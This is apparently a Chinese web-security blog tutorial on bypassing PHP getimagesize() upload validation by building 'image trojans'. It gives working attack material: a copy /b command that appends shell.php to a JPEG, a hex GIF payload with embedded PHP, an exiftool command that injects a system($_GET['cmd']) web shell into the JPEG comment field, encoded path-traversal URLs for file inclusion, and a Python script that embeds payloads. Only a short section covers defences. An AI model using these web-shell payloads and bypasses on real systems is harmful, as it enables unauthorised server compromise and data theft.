当前位置：首页 > news >正文

Web安全实战：巧用图片合成绕过getimagesize函数防御

news 2026/4/18 17:10:20

1. 认识getimagesize函数防御机制

在Web安全领域，文件上传功能一直是攻防对抗的前沿阵地。很多网站为了防止用户上传恶意文件，会使用PHP内置的getimagesize()函数进行校验。这个函数的工作原理很有意思——它不仅能读取图片的宽高信息，还会检查文件的真实类型。我见过不少开发者认为只要用了这个函数就能高枕无忧，但实际情况要复杂得多。

getimagesize()返回的是一个包含7个元素的数组，其中索引2会标明图像类型（IMAGETYPE_JPEG等）。这种校验方式比单纯检查文件后缀名要可靠，因为它读取的是文件的二进制特征。不过我在实际测试中发现，这个函数有个致命弱点：它只会检查文件头部的图像特征，而不会扫描整个文件内容。这就为后续的绕过操作埋下了伏笔。

2. 图片马的制作原理

2.1 二进制文件合并技术

制作"图片马"的核心思路很简单：把正常图片和恶意代码拼接成一个文件。我在渗透测试中最常用的方法是使用Windows自带的copy命令：

copy /b cat.jpg + shell.php trojan.jpg

这个命令会把shell.php的代码追加到cat.jpg的末尾。由于图片格式的特性，大部分图像查看器会忽略文件尾部的额外数据，但getimagesize()检查时依然会认为这是个合法图片。有次我给客户做安全测试时，发现他们系统允许上传10MB的图片，这给隐藏大马提供了绝佳条件。

2.2 专业工具精细控制

对于更复杂的场景，我推荐使用Hex编辑器或010 Editor这类专业工具。通过手动修改十六进制数据，可以精确控制恶意代码的插入位置。有个实用技巧是在JPEG的注释段(FFFE)插入代码，这样既不会破坏图像结构，又能确保代码被保留。记得去年有个项目，目标系统会重新压缩上传的图片，常规方法都失效了，最后就是靠精确控制注释段才绕过检测。

3. 实战绕过检测全流程

3.1 文件上传环节突破

假设目标网站有如下上传校验代码：

$imageInfo = getimagesize($_FILES['file']['tmp_name']); if(!$imageInfo) { die("只允许上传图片文件！"); }

即使我们制作好了图片马，直接上传可能还会遇到其他限制。我总结出几个常见障碍及解决方案：

大小限制：调整php.ini中的upload_max_filesize
内容过滤：使用<?=短标签替代完整PHP标签
二次渲染：寻找不改变文件结构的图像处理库

3.2 文件包含漏洞利用

上传成功只是第一步，要让代码执行还需要配合文件包含漏洞。在测试环境中，我经常构造这样的URL：

http://vuln-site.com/include.php?file=../uploads/trojan.jpg

这里有个关键点：包含漏洞的路径穿越要准确。我习惯先用../../遍历到网站根目录，再定位到上传目录。如果目标系统有防护，可以尝试编码绕过：

URL编码：..%2F..%2F
双重编码：..%252F..%252F

4. 进阶绕过技巧与防护

4.1 对抗深度检测

现在越来越多的系统会采用多重验证机制。最近遇到一个案例，目标不仅用getimagesize()，还会用exif_imagetype()和finfo_file()三重校验。我的绕过方案是：

制作合法的GIF89a文件头
在注释区块插入代码
确保文件末尾有GIF结束符

47 49 46 38 39 61 01 00 01 00 00 FF 00 2C 00 00 00 00 01 00 01 00 00 02 00 3B 3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

4.2 防御方案建议

站在防御者角度，我建议采用分层防护策略：

文件内容校验层：
- 使用imagecreatefromstring()尝试实际渲染
- 检查文件幻数(Magic Number)
存储处理层：
- 重命名上传文件
- 转换图像格式
访问控制层：
- 禁止直接执行上传目录文件
- 设置正确的Content-Type

在项目实践中，我会用这个检测函数组合：

function isRealImage($file) { if(!@imagecreatefromstring(file_get_contents($file))) { return false; } $info = getimagesize($file); return $info && in_array($info[2], [IMAGETYPE_JPEG, IMAGETYPE_PNG]); }

5. 典型漏洞案例分析

去年审计某CMS系统时，发现其头像上传功能存在典型缺陷。虽然前端做了JS校验，后端也用了getimagesize()，但完全信任了前端传递的MIME类型。我的攻击步骤如下：

制作包含WebShell的图片马
使用Burp修改Content-Type为image/png
上传后通过文件包含触发
利用目录穿越获取配置文件

这个案例的特别之处在于，系统还会检查图片的EXIF信息。我不得不使用ExifTool先注入合法元数据：

exiftool -Comment='<?php system($_GET["cmd"]); ?>' normal.jpg

6. 自动化测试工具集成

对于经常做渗透测试的同学，可以把这个技术集成到自动化工具链中。我常用的组合是：

使用msfvenom生成Payload
通过Python脚本自动合成图片
用curl模拟上传请求

from wand.image import Image def create_image_shell(input_img, output_img, payload): with Image(filename=input_img) as img: img.comment = payload img.save(filename=output_img)

在持续集成环境中，我会配置这样的检测流程：先尝试上传各种变异图片，然后检查系统响应，最后自动生成检测报告。这套方法在最近三次红队演练中都取得了不错的效果。